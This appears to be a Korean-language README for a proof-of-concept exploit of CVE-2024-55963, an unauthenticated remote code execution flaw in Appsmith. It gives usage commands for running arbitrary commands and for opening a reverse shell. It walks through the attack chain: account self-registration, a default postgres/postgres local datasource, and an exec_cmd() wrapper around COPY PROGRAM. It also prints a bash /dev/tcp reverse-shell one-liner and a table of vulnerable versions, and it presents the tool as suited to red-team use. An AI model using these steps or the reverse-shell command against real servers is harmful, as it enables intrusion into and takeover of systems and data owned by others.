
CVE-2024-55963, 기본 포함된 잘못 구성된 PostgreSQL 데이터베이스로 인해 Appsmith Enterprise 플랫폼에서 인증되지 않은 원격 코드 실행을 허용합니다.
PoC 익스플로잇으로, 취약한 Appsmith 인스턴스에서 임의 명령 실행 또는 리버스 셸을 생성합니다.
이 스크립트는 environmentId 기능이 있는 최신 서버와 그 이전의 "레거시" 빌드를 모두 자동으로 처리하므로, v1.20부터 마지막 취약 버전인 v1.51까지의 모든 버전에서 하나의 스크립트로 사용할 수 있습니다.
# 임의 명령 실행 (기본값은 `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# 리버스 셸 생성
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
참고: 서버가 셀프 서비스 가입을 허용하는 한 모든 자격 증명이 작동합니다. 스크립트는 먼저 로그인을 시도하고, 계정이 없으면 등록으로 대체합니다.
/api/v1/environments/workspaces/{id}에 쿼리합니다. 없으면 레거시 모드로 전환하여 environmentId를 비워둡니다./api/v1/applications에 POST 요청을 보내고 pageId를 추출합니다.localhost:5432에 postgres/postgres 자격 증명으로 연결되는 로컬 PostgreSQL 데이터소스를 생성합니다 (취약한 기본 pg_hba.conf에서 허용됨).exec_cmd()와 STDOUT을 수집하는 임시 테이블 cmd_output을 업로드합니다./api/v1/actions/execute 엔드포인트를 통해 SELECT * FROM exec_cmd('<your cmd>')를 실행합니다.bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'을 실행합니다.requests| Appsmith 버전 | 결과 |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, 레거시 경로 |
| 1.52+ | ❌ 패치됨 – 함수 생성 실패 |
이 PoC는 Rhino Security Labs 익스플로잇을 약간 개선한 것입니다 (연구를 검토할 당시 그들이 이미 공개 PoC를 가지고 있는지 몰랐습니다).
Rhino의 PoC는 정적 헤더, 쿠키 및 자격 증명을 사용합니다. 해당 익스플로잇을 테스트하는 동안 특정 버전에서 계정이 이미 존재할 때 문제가 발생했습니다. 이 스크립트는 사용자가 명령줄에서 원하는 이메일/비밀번호 조합을 입력할 수 있도록 합니다. 언급한 대로 CSRF 토큰을 하드코딩된 값에 의존하지 않고 추출합니다.
Environments API 엔드포인트가 없는 구형 서버에서도 작동합니다.exec_cmd() PL/pgSQL 래퍼 내에서 COPY PROGRAM을 활용하고 /actions/execute API를 사용하지만, 이는 상대적으로 노이즈가 많습니다. Rhino는 내장된 스키마 미리보기 엔드포인트를 사용해 임시 COPY (SELECT …) 문을 발행합니다. 이 엔드포인트는 출력 길이를 자르고 추가 인용 규칙을 적용하므로 긴 명령이나 체인 페이로드를 전달하기 어렵습니다.pyfiglet 종속성 없음environmentId 헤더를 자동 감지하여 구형 서버를 지원합니다. Rhino의 익스플로잇은 항상 존재한다고 가정합니다.이러한 설계 선택을 통해 익스플로잇을 더 짧고 안정적이며 레드팀 사용에 적합하게 만들면서도 동일한 기본 취약점을 시연합니다.
이 코드는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 실행하는 것은 불법일 가능성이 높습니다. 저자는 오용에 대해 책임을 지지 않습니다.